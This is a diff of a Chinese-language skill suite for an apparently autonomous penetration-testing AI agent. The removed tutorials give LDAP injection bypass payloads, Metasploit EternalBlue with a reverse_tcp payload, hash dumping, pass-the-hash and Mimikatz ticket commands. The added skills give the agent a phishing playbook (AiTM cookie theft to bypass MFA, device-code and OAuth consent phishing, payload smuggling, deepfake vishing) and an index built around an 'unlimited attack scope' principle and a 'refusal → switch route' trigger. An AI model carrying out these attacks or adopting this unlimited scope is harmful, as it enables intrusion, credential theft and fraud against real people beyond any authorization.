user = db.get_user(user_id)
# 验证所有权
if user.id != current_user.id and current_user.role != 'admin':
raise PermissionDenied()
# 更新数据
db.update_user(user_id, data)
```
5. **使用不可预测的标识符**
```python
import uuid
# 使用UUID替代顺序ID
resource_id = str(uuid.uuid4())
```
6. **最小权限原则**
- 只返回用户有权限访问的数据
- 使用数据过滤
- 限制可访问的资源范围
## 注意事项
- 仅在授权测试环境中进行
- 避免访问或修改真实用户数据
- 注意不同资源的访问控制差异
- 测试时注意请求频率,避免触发防护
-272
View File
@@ -1,272 +0,0 @@
---
name: incident-response
description: 安全事件响应的专业技能和方法论
version: 1.0.0
---
# 安全事件响应
## 概述
安全事件响应是处理安全事件的关键流程。本技能提供安全事件响应的方法、工具和最佳实践。
## 响应流程
### 1. 准备阶段
**准备工作:**
- 建立响应团队
- 制定响应计划
- 准备工具和资源
- 建立通信渠道
### 2. 识别阶段
**识别事件:**
- 监控告警
- 异常检测
- 日志分析
- 用户报告
### 3. 遏制阶段
**遏制措施:**
- 隔离受影响系统
- 禁用账户
- 阻断网络连接
- 备份证据
### 4. 清除阶段
**清除威胁:**
- 移除恶意软件
- 修复漏洞
- 重置凭证
- 清理后门
### 5. 恢复阶段
**恢复系统:**
- 恢复备份
- 验证系统完整性
- 监控系统
- 逐步恢复服务
### 6. 总结阶段
**总结经验:**
- 事件报告
- 经验教训
- 改进措施
- 更新流程
## 工具使用
### 日志分析
**使用Splunk**
```bash
# 搜索日志
index=security event_type="failed_login"
# 统计分析
index=security | stats count by src_ip
# 时间序列分析
index=security | timechart count by event_type
```
**使用ELK**
```bash
# Elasticsearch查询
GET /logs/_search
{
"query": {
"match": {
"event_type": "malware"
}
}
}
```
### 取证工具
**使用Volatility**
```bash
# 分析内存镜像
volatility -f memory.dump imageinfo
# 列出进程
volatility -f memory.dump --profile=Win7SP1x64 pslist
# 提取进程内存
volatility -f memory.dump --profile=Win7SP1x64 memdump -p 1234 -D output/
```
**使用Autopsy**
```bash
# 启动Autopsy
# 创建案例
# 添加证据
# 分析数据
```
### 网络分析
**使用Wireshark**
```bash
# 捕获流量
wireshark -i eth0
# 分析PCAP文件
wireshark -r capture.pcap
# 过滤流量
# 显示过滤器: ip.addr == 192.168.1.100
# 捕获过滤器: host 192.168.1.100
```
**使用tcpdump**
```bash
# 捕获流量
tcpdump -i eth0 -w capture.pcap
# 分析流量
tcpdump -r capture.pcap -A
```
## 事件类型
### 恶意软件
**响应步骤:**
1. 隔离受影响系统
2. 收集样本
3. 分析恶意软件
4. 清除威胁
5. 修复漏洞
**工具:**
- VirusTotal
- Cuckoo Sandbox
- YARA规则
### 数据泄露
**响应步骤:**
1. 确认泄露范围
2. 遏制泄露
3. 评估影响
4. 通知相关方
5. 修复漏洞
**检查项目:**
- 泄露数据量
- 受影响用户
- 泄露渠道
- 数据敏感性
### 拒绝服务
**响应步骤:**
1. 确认攻击类型
2. 启用防护措施
3. 过滤恶意流量
4. 监控系统状态
5. 恢复正常服务
**防护措施:**
- DDoS防护服务
- 流量清洗
- 限流措施
- CDN防护
### 未授权访问
**响应步骤:**
1. 禁用受影响账户
2. 重置凭证
3. 检查访问日志
4. 评估数据访问
5. 修复漏洞
**检查项目:**
- 访问时间
- 访问内容
- 访问来源
- 数据修改
## 响应清单
### 准备阶段
- [ ] 建立响应团队
- [ ] 制定响应计划
- [ ] 准备工具
- [ ] 建立通信渠道
### 识别阶段
- [ ] 确认事件
- [ ] 收集信息
- [ ] 评估影响
- [ ] 记录时间线
### 遏制阶段
- [ ] 隔离系统
- [ ] 禁用账户
- [ ] 阻断连接
- [ ] 备份证据
### 清除阶段
- [ ] 移除威胁
- [ ] 修复漏洞
- [ ] 重置凭证
- [ ] 验证清除
### 恢复阶段
- [ ] 恢复系统
- [ ] 验证完整性
- [ ] 监控系统
- [ ] 恢复服务
### 总结阶段
- [ ] 编写报告
- [ ] 总结经验
- [ ] 改进措施
- [ ] 更新流程
## 最佳实践
### 1. 准备
- 建立响应团队
- 制定响应计划
- 定期演练
- 准备工具
### 2. 响应
- 快速响应
- 系统化处理
- 记录所有操作
- 保护证据
### 3. 沟通
- 内部沟通
- 外部通知
- 状态更新
- 事后报告
### 4. 改进
- 事件分析
- 流程改进
- 工具更新
- 培训提升
## 注意事项
- 快速响应
- 保护证据
- 记录操作
- 遵守法律法规
+19
View File
@@ -0,0 +1,19 @@
---
name: initial-access-phishing
description: >-
初始访问/钓鱼/社工:凭据喷洒,AiTM,设备码,OAuth同意钓鱼,载荷,vishing。Use when needing initial access, phishing, AiTM, device code, or social engineering.
tags: [渗透测试, penetration-testing, 红队]
---
## 初始访问 / 钓鱼 / 社工
```
=== 初始访问/钓鱼/社工(外部进内部第一跳,打点前的打点) ===
凭据喷洒: 弱密码(Season+Year!/公司名123)喷全体账号(每账号1-2次避锁定) | 来源:泄露库/OSINT邮箱格式(f.last@)/默认凭据
AiTM钓鱼(绕MFA): evilginx3/Modlishka反代真站→中间人偷session cookie+token(绕MFA) | phishlet配域名+证书
设备码钓鱼(Azure/M365): device code flow→诱导受害者输码→拿access/refresh token(无需密码/MFA) | TokenTactics/AADInternals
钓鱼载荷: gophish发信+落地页 | 载荷 lnk/iso/宏/HTA/OneNote | 绕网关:密码zip/云盘链接/HTML走私
OAuth同意钓鱼(illicit consent): 恶意App请求过度scope(Mail.Read/offline_access)→受害者同意→长期访问令牌
社工前戏: OSINT组织架构/供应商/口令习惯(LinkedIn/招聘/GitHub) | pretext借口(IT支持/供应商/HR) | vishing(deepfake声音)
→ 初始access落地即转 `redteam-opsec`(别一进门就被EDR抓), 拿到的能力进 `capability-primitive-search` 凑链
```
-300
View File
@@ -1,300 +0,0 @@
---
name: ldap-injection-testing
description: LDAP注入漏洞测试的专业技能和方法论
version: 1.0.0
---
# LDAP注入漏洞测试
## 概述
LDAP注入是一种类似于SQL注入的漏洞,利用LDAP查询语句的构造缺陷,可能导致信息泄露、权限绕过等。本技能提供LDAP注入的检测、利用和防护方法。
## 漏洞原理
应用程序将用户输入直接拼接到LDAP查询语句中,未进行充分验证和过滤,导致攻击者可以修改查询逻辑。
**危险代码示例:**
```java
String filter = "(&(cn=" + userInput + ")(userPassword=" + password + "))";
ldapContext.search(baseDN, filter, ...);
```
## LDAP基础
### 查询语法
**基础查询:**
```
(cn=John)
(objectClass=person)
(&(cn=John)(mail=john@example.com))
(|(cn=John)(cn=Jane))
(!(cn=John))
```
### 特殊字符
**需要转义的字符:**
- `(` `)` - 括号
- `*` - 通配符
- `\` - 转义符
- `/` - 路径分隔符
- `NUL` - 空字符
## 测试方法
### 1. 识别LDAP输入点
**常见功能:**
- 用户登录
- 用户搜索
- 目录浏览
- 权限验证
### 2. 基础检测
**测试特殊字符:**
```
*)(&
*)(|
*))(
*))%00
```
**测试逻辑操作符:**
```
*)(&(cn=*
*)(|(cn=*
*))(!(cn=*
```
### 3. 认证绕过
**基础绕过:**
```
用户名: *)(&
密码: *
查询: (&(cn=*)(&)(userPassword=*))
```
**更精确的绕过:**
```
用户名: admin)(&(cn=admin
密码: *))
查询: (&(cn=admin)(&(cn=admin)(userPassword=*)))
```
### 4. 信息泄露
**枚举用户:**
```
*)(cn=*
*)(uid=*
*)(mail=*
```
**获取属性:**
```
*)(|(cn=*)(userPassword=*
*)(|(objectClass=*)(cn=*
```
## 利用技术
### 认证绕过
**方法1:逻辑绕过**
```
输入: *)(&
查询: (&(cn=*)(&)(userPassword=*))
结果: 匹配所有用户
```
**方法2:注释绕过**
```
输入: admin)(&(cn=admin
查询: (&(cn=admin)(&(cn=admin)(userPassword=*)))
```
**方法3:通配符**
```
输入: *)(|(cn=*)(userPassword=*
查询: (&(cn=*)(|(cn=*)(userPassword=*)(userPassword=*))
```
### 信息泄露
**枚举所有用户:**
```
搜索: *)(cn=*
结果: 返回所有cn属性
```
**获取密码哈希:**
```
搜索: *)(|(cn=*)(userPassword=*
结果: 返回用户和密码哈希
```
**获取敏感属性:**
```
搜索: *)(|(cn=*)(mail=*)(telephoneNumber=*
结果: 返回多个敏感属性
```
### 权限提升
**修改查询逻辑:**
```
原始: (&(cn=user)(memberOf=CN=Users,DC=example,DC=com))
注入: user)(memberOf=CN=Admins,DC=example,DC=com))(|(cn=user
结果: 可能绕过权限检查
```
## 绕过技术
### 编码绕过
**URL编码:**
```
*)(& → %2A%29%28%26
*)(| → %2A%29%28%7C
```
**Unicode编码:**
```
* → \u002A
( → \u0028
) → \u0029
```
### 注释绕过
**使用注释:**
```
*)(&(cn=*
*)(|(cn=*
```
### 空字符注入
**使用NULL字节:**
```
*))%00
```
## 工具使用
### JXplorer
**图形化LDAP客户端:**
- 连接LDAP服务器
- 浏览目录结构
- 执行查询测试
### ldapsearch
```bash
# 基础查询
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=*)"
# 测试注入
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=*)(&"
```
### Burp Suite
1. 拦截LDAP查询请求
2. 修改查询参数
3. 观察响应结果
### Python脚本
```python
import ldap3
server = ldap3.Server('ldap://target.com')
conn = ldap3.Connection(server, authentication=ldap3.SIMPLE,
user='cn=admin,dc=example,dc=com',
password='password')
# 测试注入
filter_str = '*)(&'
conn.search('dc=example,dc=com', filter_str)
print(conn.entries)
```
## 验证和报告
### 验证步骤
1. 确认可以控制LDAP查询
2. 验证认证绕过或信息泄露
3. 评估影响(未授权访问、数据泄露等)
4. 记录完整的POC
### 报告要点
- 漏洞位置和输入参数
- LDAP查询构造方式
- 完整的利用步骤和PoC
- 修复建议(输入验证、参数化查询等)
## 防护措施
### 推荐方案
1. **输入验证**
```java
private static final String[] LDAP_ESCAPE_CHARS =
{"\\", "*", "(", ")", "\0", "/"};
public static String escapeLDAP(String input) {
if (input == null) {
return null;
}
StringBuilder sb = new StringBuilder();
for (int i = 0; i < input.length(); i++) {
char c = input.charAt(i);
if (Arrays.asList(LDAP_ESCAPE_CHARS).contains(String.valueOf(c))) {
sb.append("\\");
}
sb.append(c);
}
return sb.toString();
}
```
2. **参数化查询**
```java
// 使用LDAP API的参数化功能
String filter = "(&(cn={0})(userPassword={1}))";
Object[] args = {escapedCN, escapedPassword};
// 使用API构建查询
```
3. **白名单验证**
```java
// 只允许特定字符
if (!input.matches("^[a-zA-Z0-9@._-]+$")) {
throw new IllegalArgumentException("Invalid input");
}
```
4. **最小权限**
- LDAP连接使用最小权限账户
- 限制可查询的属性
- 使用访问控制列表
5. **错误处理**
- 不返回详细错误信息
- 统一错误响应
- 记录错误日志
## 注意事项
- 仅在授权测试环境中进行
- 注意不同LDAP服务器的语法差异
- 测试时避免对目录造成影响
- 了解目标LDAP服务器的配置
-370
View File
@@ -1,370 +0,0 @@
---
name: mobile-app-security-testing
description: 移动应用安全测试的专业技能和方法论
version: 1.0.0
---
# 移动应用安全测试
## 概述
移动应用安全测试是确保移动应用安全性的重要环节。本技能提供移动应用安全测试的方法、工具和最佳实践,涵盖Android和iOS平台。
## 测试范围
### 1. 应用安全
**检查项目:**
- 代码混淆
- 反编译防护
- 调试防护
- 证书绑定
### 2. 数据安全
**检查项目:**
- 数据加密
- 密钥管理
- 敏感数据存储
- 数据传输
### 3. 认证授权
**检查项目:**
- 认证机制
- Token管理
- 生物识别
- 会话管理
### 4. 通信安全
**检查项目:**
- TLS/SSL配置
- 证书验证
- API安全
- 中间人攻击防护
## Android安全测试
### 静态分析
**使用APKTool**
```bash
# 反编译APK
apktool d app.apk
# 查看AndroidManifest.xml
cat app/AndroidManifest.xml
# 查看Smali代码
find app/smali -name "*.smali"
```
**使用Jadx**
```bash
# 反编译APK
jadx -d output app.apk
# 查看Java源码
find output -name "*.java"
```
**使用MobSF**
```bash
# 启动MobSF
docker run -it -p 8000:8000 opensecurity/mobsf
# 上传APK进行分析
# 访问 http://localhost:8000
```
### 动态分析
**使用Frida**
```javascript
// Hook函数
Java.perform(function() {
var MainActivity = Java.use("com.example.MainActivity");
MainActivity.onCreate.implementation = function(savedInstanceState) {
console.log("[*] onCreate called");
this.onCreate(savedInstanceState);
};
});
```
**使用Objection**
```bash
# 启动Objection
objection -g com.example.app explore
# Hook函数
android hooking watch class_method com.example.MainActivity.onCreate
```
**使用Burp Suite**
```bash
# 配置代理
# Android设置代理指向Burp Suite
# 安装Burp证书
```
### 常见漏洞
**硬编码密钥:**
```java
// 不安全的代码
String apiKey = "1234567890abcdef";
String password = "admin123";
```
**不安全的存储:**
```java
// SharedPreferences存储敏感数据
SharedPreferences prefs = getSharedPreferences("data", MODE_WORLD_READABLE);
prefs.edit().putString("password", password).apply();
```
**证书验证绕过:**
```java
// 不验证证书
TrustManager[] trustAllCerts = new TrustManager[] {
new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() { return null; }
public void checkClientTrusted(X509Certificate[] certs, String authType) { }
public void checkServerTrusted(X509Certificate[] certs, String authType) { }
}
};
```
## iOS安全测试
### 静态分析
**使用class-dump**
```bash
# 导出头文件
class-dump app.ipa
# 查看头文件
find app -name "*.h"
```
**使用Hopper**
```bash
# 使用Hopper反汇编
# 打开app二进制文件
# 分析汇编代码
```
**使用otool**
```bash
# 查看Mach-O信息
otool -L app
# 查看字符串
strings app | grep -i "password\|key\|secret"
```
### 动态分析
**使用Frida**
```javascript
// Hook Objective-C方法
var className = ObjC.classes.ViewController;
var method = className['- login:password:'];
Interceptor.attach(method.implementation, {
onEnter: function(args) {
console.log("[*] Login called");
console.log("Username: " + ObjC.Object(args[2]).toString());
console.log("Password: " + ObjC.Object(args[3]).toString());
}
});
```
**使用Cycript**
```bash
# 附加到进程
cycript -p app
# 执行命令
[UIApplication sharedApplication]
```
### 常见漏洞
**硬编码密钥:**
```objective-c
// 不安全的代码
NSString *apiKey = @"1234567890abcdef";
NSString *password = @"admin123";
```
**不安全的存储:**
```objective-c
// Keychain存储不当
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
[defaults setObject:password forKey:@"password"];
```
**证书验证绕过:**
```objective-c
// 不验证证书
- (void)connection:(NSURLConnection *)connection
didReceiveAuthenticationChallenge:(NSURLAuthenticationChallenge *)challenge {
[challenge.sender useCredential:[NSURLCredential credentialForTrust:challenge.protectionSpace.serverTrust]
forAuthenticationChallenge:challenge];
}
```
## 工具使用
### MobSF
```bash
# 启动MobSF
docker run -it -p 8000:8000 opensecurity/mobsf
# 上传应用进行分析
# 支持Android和iOS
```
### Frida
```bash
# 安装Frida
pip install frida-tools
# 运行脚本
frida -U -f com.example.app -l script.js
```
### Objection
```bash
# 安装Objection
pip install objection
# 启动Objection
objection -g com.example.app explore
```
### Burp Suite
**配置代理:**
1. 配置Burp Suite监听器
2. 移动设备设置代理
3. 安装Burp证书
4. 拦截和分析流量
## 测试清单
### 应用安全
- [ ] 代码混淆检查
- [ ] 反编译防护
- [ ] 调试防护
- [ ] 证书绑定
### 数据安全
- [ ] 数据加密检查
- [ ] 密钥管理
- [ ] 敏感数据存储
- [ ] 数据传输安全
### 认证授权
- [ ] 认证机制测试
- [ ] Token管理
- [ ] 会话管理
- [ ] 生物识别
### 通信安全
- [ ] TLS/SSL配置
- [ ] 证书验证
- [ ] API安全测试
- [ ] 中间人攻击防护
## 常见安全问题
### 1. 硬编码密钥
**问题:**
- API密钥硬编码
- 密码硬编码
- 加密密钥硬编码
**修复:**
- 使用密钥管理服务
- 使用环境变量
- 使用安全存储
### 2. 不安全的存储
**问题:**
- 明文存储敏感数据
- 使用不安全的存储方式
- 数据未加密
**修复:**
- 使用加密存储
- 使用Keychain/Keystore
- 实施数据加密
### 3. 证书验证绕过
**问题:**
- 不验证SSL证书
- 接受自签名证书
- 证书固定未实施
**修复:**
- 实施证书固定
- 验证证书链
- 使用系统证书存储
### 4. 调试信息泄露
**问题:**
- 日志包含敏感信息
- 错误信息泄露
- 调试模式未禁用
**修复:**
- 移除调试代码
- 限制日志输出
- 生产环境禁用调试
## 最佳实践
### 1. 代码安全
- 实施代码混淆
- 禁用调试功能
- 实施反调试保护
- 使用证书绑定
### 2. 数据安全
- 加密敏感数据
- 使用安全存储
- 实施密钥管理
- 限制数据访问
### 3. 通信安全
- 使用TLS/SSL
- 实施证书固定
- 验证服务器证书
- 使用安全API
### 4. 认证安全
- 实施强认证
- 安全Token管理
- 实施会话管理
- 使用生物识别
## 注意事项
- 仅在授权环境中进行测试
- 遵守法律法规
- 注意不同平台的差异
- 保护用户隐私
-403
View File
@@ -1,403 +0,0 @@
---
name: network-penetration-testing
description: 网络渗透测试的专业技能和方法论
version: 1.0.0
---
# 网络渗透测试
## 概述
网络渗透测试是评估网络基础设施安全性的重要环节。本技能提供网络渗透测试的方法、工具和最佳实践。
## 测试范围
### 1. 信息收集
**检查项目:**
- 网络拓扑
- 主机发现
- 端口扫描
- 服务识别
### 2. 漏洞扫描
**检查项目:**
- 系统漏洞
- 服务漏洞
- 配置错误
- 弱密码
### 3. 漏洞利用
**检查项目:**
- 远程代码执行
- 权限提升
- 横向移动
- 持久化
## 信息收集
### 网络扫描
**使用Nmap**
```bash
# 主机发现
nmap -sn 192.168.1.0/24
# 端口扫描
nmap -sS -p- 192.168.1.100
# 服务识别
nmap -sV -sC 192.168.1.100
# 操作系统识别
nmap -O 192.168.1.100
# 完整扫描
nmap -sS -sV -sC -O -p- 192.168.1.100
```
**使用Masscan**
```bash
# 快速端口扫描
masscan -p1-65535 192.168.1.0/24 --rate=1000
```
### 服务枚举
**SMB枚举:**
```bash
# 枚举SMB共享
smbclient -L //192.168.1.100 -N
# 枚举SMB用户
enum4linux -U 192.168.1.100
# 使用nmap脚本
nmap --script smb-enum-shares,smb-enum-users 192.168.1.100
```
**RPC枚举:**
```bash
# 枚举RPC服务
rpcclient -U "" -N 192.168.1.100
# 使用nmap脚本
nmap --script rpc-enum 192.168.1.100
```
**SNMP枚举:**
```bash
# SNMP扫描
snmpwalk -v2c -c public 192.168.1.100
# 使用onesixtyone
onesixtyone -c wordlist.txt 192.168.1.0/24
```
## 漏洞扫描
### 使用Nessus
```bash
# 启动Nessus
# 访问Web界面
# 创建扫描任务
# 分析扫描结果
```
### 使用OpenVAS
```bash
# 启动OpenVAS
gvm-setup
# 访问Web界面
# 创建扫描任务
# 分析扫描结果
```
### 使用Nmap脚本
```bash
# 漏洞扫描
nmap --script vuln 192.168.1.100
# 特定漏洞扫描
nmap --script smb-vuln-ms17-010 192.168.1.100
# 所有脚本
nmap --script all 192.168.1.100
```
## 漏洞利用
### Metasploit
**基础使用:**
```bash
# 启动Metasploit
msfconsole
# 搜索漏洞
search ms17-010
# 使用模块
use exploit/windows/smb/ms17_010_eternalblue
# 设置参数
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
# 执行
exploit
```
**后渗透:**
```bash
# 获取系统信息
sysinfo
# 获取权限
getsystem
# 迁移进程
migrate <pid>
# 获取哈希
hashdump
# 获取密码
run post/windows/gather/smart_hashdump
```
### 常见漏洞利用
**EternalBlue**
```bash
# 使用Metasploit
use exploit/windows/smb/ms17_010_eternalblue
# 使用独立工具
python eternalblue.py 192.168.1.100
```
**BlueKeep**
```bash
# 使用Metasploit
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
```
**SMBGhost**
```bash
# 使用独立工具
python smbghost.py 192.168.1.100
```
## 横向移动
### 密码破解
**使用Hashcat**
```bash
# 破解NTLM哈希
hashcat -m 1000 hashes.txt wordlist.txt
# 破解LM哈希
hashcat -m 3000 hashes.txt wordlist.txt
# 使用规则
hashcat -m 1000 hashes.txt wordlist.txt -r rules/best64.rule
```
**使用John**
```bash
# 破解哈希
john hashes.txt
# 使用字典
john --wordlist=wordlist.txt hashes.txt
# 使用规则
john --wordlist=wordlist.txt --rules hashes.txt
```
### Pass-the-Hash
**使用Impacket**
```bash
# SMB Pass-the-Hash
python smbexec.py -hashes :<hash> domain/user@target
# WMI Pass-the-Hash
python wmiexec.py -hashes :<hash> domain/user@target
# RDP Pass-the-Hash
xfreerdp /u:user /pth:<hash> /v:target
```
### 票据传递
**使用Mimikatz**
```bash
# 提取票据
sekurlsa::tickets /export
# 注入票据
kerberos::ptt ticket.kirbi
```
**使用Rubeus**
```bash
# 请求票据
Rubeus.exe asktgt /user:user /domain:domain /rc4:hash
# 注入票据
Rubeus.exe ptt /ticket:ticket.kirbi
```
## 工具使用
### Nmap
```bash
# 完整扫描
nmap -sS -sV -sC -O -p- -T4 target
# 隐蔽扫描
nmap -sS -T2 -f -D RND:10 target
# UDP扫描
nmap -sU -p- target
```
### Metasploit
```bash
# 启动框架
msfconsole
# 数据库初始化
msfdb init
# 导入扫描结果
db_import nmap.xml
# 查看主机
hosts
# 查看服务
services
```
### Burp Suite
**网络扫描:**
1. 配置代理
2. 浏览目标网络
3. 分析流量
4. 主动扫描
## 测试清单
### 信息收集
- [ ] 网络拓扑发现
- [ ] 主机发现
- [ ] 端口扫描
- [ ] 服务识别
- [ ] 操作系统识别
### 漏洞扫描
- [ ] 系统漏洞扫描
- [ ] 服务漏洞扫描
- [ ] 配置错误检查
- [ ] 弱密码检查
### 漏洞利用
- [ ] 远程代码执行
- [ ] 权限提升
- [ ] 横向移动
- [ ] 持久化
## 常见安全问题
### 1. 未打补丁的系统
**问题:**
- 系统未及时更新
- 存在已知漏洞
- 补丁管理不当
**修复:**
- 及时安装补丁
- 建立补丁管理流程
- 定期安全更新
### 2. 弱密码
**问题:**
- 默认密码
- 简单密码
- 密码重用
**修复:**
- 实施强密码策略
- 启用多因素认证
- 定期更换密码
### 3. 开放端口
**问题:**
- 不必要的端口开放
- 服务暴露
- 防火墙配置错误
**修复:**
- 关闭不必要端口
- 实施防火墙规则
- 使用VPN访问
### 4. 配置错误
**问题:**
- 默认配置
- 权限过大
- 服务配置不当
**修复:**
- 安全配置基线
- 最小权限原则
- 定期配置审查
## 最佳实践
### 1. 信息收集
- 全面扫描
- 多工具验证
- 记录发现
- 分析结果
### 2. 漏洞利用
- 授权测试
- 最小影响
- 记录操作
- 及时清理
### 3. 报告编写
- 详细记录
- 风险评级
- 修复建议
- 验证步骤
## 注意事项
- 仅在授权环境中进行测试
- 避免对生产系统造成影响
- 遵守法律法规
- 保护测试数据
+57
View File
@@ -0,0 +1,57 @@
---
name: pentest-agent-os
description: >-
渗透测试Agent操作系统。把渗透抽象成状态空间搜索:不预设固定路径,以项目黑板 Fact 图
(upsert_project_fact)+漏洞记录沉淀认知,路径从已验证事实上涌现。覆盖全杀伤链攻击手法
(联网情报/Web/认证/服务端/源码/社工/后渗透/二进制/内网域/云/区块链/AI/无线/硬件)+0day+
组合拳+代理自举。核心:全网搜不到洞时现场推导独属于目标的攻击链。本文件为套件索引。
Use when starting a full-chain pentest engagement or needing the skill map for this suite.
tags: [渗透测试, penetration-testing, 红队, autonomous]
---
# 渗透测试Agent操作系统
> **渗透不是执行脚本,是搜索路径。**
> 不给自己预设固定路径/角色/已知利用链。给定起点与目标,
> 路径未知 → 在状态空间里搜索:不断试不同路径、试错、反馈、逼近目标。
> **跳出固有攻击链** = 不问"它有没有已知CVE",而问"基于项目黑板上已掌握的事实,下一步最有效的动作是什么"。
> 状态落点见 `pentest-blackboard`(SQLite 项目事实,非磁盘 Intent/Hint 状态机)。
## 套件映射(按作用分类)
| 主题 | skill `name` | 作用 |
|------|--------------|------|
| 套件索引与核心心法 | `pentest-agent-os` | 套件索引与核心心法 |
| 项目黑板 | `pentest-blackboard` | 项目 Fact 图 / 边记录 / 与漏洞分工 |
| 验证铁律 | `pentest-verification` | 验证铁律(防幻觉) |
| 能力原语 + 状态空间搜索 | `capability-primitive-search` | 能力原语凑链/状态空间搜索 |
| 联网情报收集 | `component-vuln-intel` | 组件识别后联网搜洞 |
| 侦察/攻击面测绘 | `attack-surface-recon` | 侦察与攻击面测绘 |
| 初始访问/钓鱼/社工 | `initial-access-phishing` | 初始访问/钓鱼/社工 |
| Web注入+认证+服务端+杂项+CDN | `web-attack-methods` | Web全栈攻击手法 |
| 源码狩猎 | `source-code-hunting` | 源码/密钥/供应链狩猎 |
| 后渗透/提权+凭据破解 | `post-exploitation` | 后渗透/提权/凭据/密码学 |
| 内网域 | `active-directory-attack` | 内网域/AD攻击 |
| APK/EXE/二进制 | `binary-mobile-reversing` | 移动端/二进制逆向 |
| 云 | `cloud-attack-methods` | 云与对象存储攻击 |
| 区块链/智能合约 | `blockchain-contract-attack` | 区块链/智能合约 |
| AI/LLM应用 | `ai-llm-app-attack` | AI/LLM应用攻击 |
| 无线/硬件 | `wireless-hardware-attack` | 无线与硬件攻击 |
| 0day自主发现引擎 | `zero-day-discovery` | 0day/N-day自主发现 |
| 自找代理+工具自举 | `proxy-tool-bootstrap` | 代理换路与工具自举 |
| OPSEC/隐蔽作战 | `redteam-opsec` | OPSEC/隐蔽作战纪律 |
| 输出规范 | `pentest-output-standards` | 报告/台账/输出规范 |
| 专题实战+文件索引 | `specialized-attack-playbooks` | 专题实战利用手册 |
| 不设限原则 | `unlimited-attack-scope` | 不设限原则 |
### 使用方式
1. 先加载 `pentest-agent-os`(本索引)理解套件结构。
2. 按当前攻击面加载对应 skill(例:识别组件→`component-vuln-intel`Web→`web-attack-methods`;全网无洞→`zero-day-discovery`)。
3. 黑板/铁律/能力原语(`pentest-blackboard` / `pentest-verification` / `capability-primitive-search`)为全流程常驻规则。
4. 按攻击面加载对应 skill;细节均在目标 skill 内完整保留。
### 强制行为触发器速查(完整原文在 `pentest-blackboard`
- 触发1[识别→搜] → 执行 `component-vuln-intel` 全部命令;线索 tentative,验证后再 confirmed/漏洞
- 触发2[拒绝→换路] → 执行 `proxy-tool-bootstrap` 换路序列;不通则写负结果 Fact
- 触发3[新认知→横向] → 凭据/域名/IP 立即横向扩展并 `upsert_project_fact`
+110
View File
@@ -0,0 +1,110 @@
---
name: pentest-blackboard
description: >-
CyberStrikeAI 项目黑板:跨会话 Fact 图(SQLite+ upsert_project_fact/record_vulnerability
边渗透边记录节奏、关系边 links、confidence、与多代理协调落库。Use when managing project
facts, blackboard index, writing evidence, or avoiding context-loss after compression.
tags: [渗透测试, penetration-testing, 红队, 项目黑板]
---
# 项目黑板(与本产品对齐)
> 状态落在**已绑定项目**的 SQLite 黑板,不依赖对话上下文,也不使用 `.pentest/` 目录。
> 系统自动注入「项目黑板索引」(仅 `fact_key` + summary);**摘要不足必须 `get_project_fact`,禁止凭摘要臆造细节。**
## 原语与分工(产品模型)
| 概念 | 产品落点 | 规则 |
|------|----------|------|
| **Fact** | `project_facts``upsert_project_fact` | 同 `fact_key` **覆盖更新**;非正式漏洞条目。`confidence`: `confirmed` \| `tentative` \| `deprecated` |
| **关系边** | `project_fact_edges`upsert 的 `links` | 结构化攻击图;finding/chain/exploit/poc **必须**带 links |
| **可交付漏洞** | `record_vulnerability` | 与 Fact **可各记一次**:Fact=复现上下文,漏洞=正式 finding |
| **探索方向** | 本轮计划 / 协调者委派 / plantask(若启用) | **不是**独立 Intent 表;待验证方向用 `confidence=tentative``note/` 或先不落库、验证后再写 |
| **人类注入** | 用户消息 / HITL 审批 | 直接吸收进决策;不必写成 Hint 原语 |
### Fact vs 漏洞
- **环境/目标/认证等认知** → 只写 Fact`target/` `auth/` `infra/` `business/`
- **发现与利用上下文** → Fact`finding/` `chain/` `exploit/` `poc/`+ body 填满攻击链
- **可交付 findings**`record_vulnerability`(标题、严重程度、类型、目标、POC、影响、修复);记前可用 `list_vulnerabilities` 查重
## 强制节奏:边渗透边记录
勿等会话结束再批量写入。
1. 每**确认**一条新认知(开放端口/服务版本、入口路径、认证态或凭据特征、可利用点或攻击面变化)→ **立即** `upsert_project_fact`(同 key 覆盖)。
2. 每**验证**出一条可复现漏洞(含 POC/影响)→ **立即** `record_vulnerability`;与事实可各记一次。
3. 继续下一步前优先落库,避免上下文压缩丢细节。
4. **未绑项目**:说明无法写黑板,仍在本轮保留证据摘要。
5. **协调者**:子任务返回新认知/漏洞时由协调者写入,勿假定子代理已记。
6. **子代理无工具时**:交付物末尾给「待落库」条目(建议 `fact_key`、summary、body/POC 要点),供协调者立即写入。
## 工具速查
| 工具 | 用途 |
|------|------|
| `upsert_project_fact` | 写入/更新事实(含 body、confidence、links |
| `get_project_fact` | 按 key 取完整 body(索引不够时必调) |
| `list_project_facts` / `search_project_facts` | 检索黑板 |
| `deprecate_project_fact` / `restore_project_fact` | 误报废弃 / 恢复 |
| `record_vulnerability` | 可交付漏洞 |
| `list_vulnerabilities` / `get_vulnerability` | 查重与详情 |
前置:**当前对话已绑定项目**(否则工具报错)。
## 写入规范
### fact_key / category
- 格式:小写 `category/slug`(如 `target/primary_domain``finding/sqli-login`
- 环境:`target` \| `auth` \| `infra` \| `business`
- 发现利用:`finding` \| `chain` \| `exploit` \| `poc`(另可用 `note`
- **同一发现保持同一 `fact_key` 覆盖**,勿拆成多个 key 导致上下文丢失
### summary / body / confidence
- **summary**(索引用一行):须含「什么 + 在哪 + 如何触发/验证」,禁止只写「存在 SQLi」
- **body**:完整可复现上下文(索引不含 body)。发现/利用类必含:入口 → 步骤 → 原始请求/响应或命令 → 现象 → 证据 → `related_vulnerability_id`(若有)
- **confidence**:有证据钉死 → `confirmed`;仅线索/待验证 → `tentative`;误报 → `deprecate_project_fact`(或 `deprecated`
- 更新时若省略 body,保留库中已有 body(可只改 summary
### 关系边 links(写入 finding/chain/exploit/poc 时必填)
- 推荐 `from`:来源 fact → 当前 `fact_key`
- 最少:finding 至少 1 条 `{from: target/*, type: discovered_on}`;在 finding 上挂 exploit 用 `{from: exploit/*, type: exploits}`
- 常用 type`discovered_on` \| `depends_on` \| `leads_to` \| `enables` \| `exploits` \| `contains` \| `part_of` \| `supports`
- **省略 links** = 保留已有边;传入 links = **替换**全部入边
## 工作方式(对齐本产品编排)
